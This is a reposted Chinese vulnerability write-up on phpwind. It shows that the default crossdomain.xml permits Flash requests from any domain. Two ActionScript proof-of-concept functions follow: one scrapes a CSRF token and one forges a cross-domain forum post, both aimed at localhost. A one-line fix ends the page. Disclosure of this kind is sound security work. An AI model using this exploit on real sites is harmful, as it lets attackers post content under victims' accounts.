鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

phpwind配置不当可导致CSRF发帖及修复方案

来源:互联网 作者:佚名 时间:2015-08-26 07:48
crossdomain.xml的默认设置: ?xml version=1.0?-cross-domain-policy allow-access-from domain=*/!-- flash跨域策略,domain建议设置为 *.你的站点域名 -- /cross-domain-policy 虽然有建议 但是普通站长谁没事改这个啊,还不如你们在安装时直接根据host重
crossdomain.xml的默认设置:
 
<?xml version="1.0"?>

-<cross-domain-policy> <allow-access-from domain="*"/>

<!-- flash跨域策略,domain建议设置为 *.你的站点域名 -->

 </cross-domain-policy>

 

 
 
 
虽然有建议 但是普通站长谁没事改这个啊,还不如你们在安装时直接根据host重写下crossdomain.xml得了。
 
先取到csrf的token
 
 
function gethash() {

    function getformhash(txt) {

        txt = txt.split('csrf_token" value="')[1].split('"')[0];

        return txt;

    }

    var result_lv:LoadVars = new LoadVars();

    result_lv.onData = function(txt) {

        if (txt) {

            txt = getformhash(txt);

        } else {

            txt = "Error connecting to server.";

        }

        trace(txt);

    };

    var send_lv:LoadVars = new LoadVars();

    method = 'GET';

    url = "http://localhost:8080/index.php?c=post&fid=2";

    send_lv.sendAndLoad(url,result_lv,method);

}

gethash()

 

 
 
 
 
然后csrf发帖 pw这里甚至没有对refer进行检查 可以直接外域提交

 
 
function dopost() {

    var result_lv:LoadVars = new LoadVars();

    result_lv.onData = function(txt) {

        trace(txt);

    };

    var send_lv:LoadVars = new LoadVars();

    method = 'post';

    url = "http://localhost:8080/index.php?c=post&a=doadd&_json=1&fid=2";

    send_lv['csrf_token'] = '{{ csrf_token }}';

    send_lv['atc_title'] = '1380343694';

    send_lv['atc_content'] = '12112123123sdf1';

    send_lv['pid'] = '';

    send_lv['tid'] = '';

    send_lv['special'] = 'default';

    send_lv.sendAndLoad(url,result_lv,method);

}

dopost()

 

 
修复方案:
删了那个文件吧,或者重写吧,千万不要让他站在敌人的那一边。
网友评论
<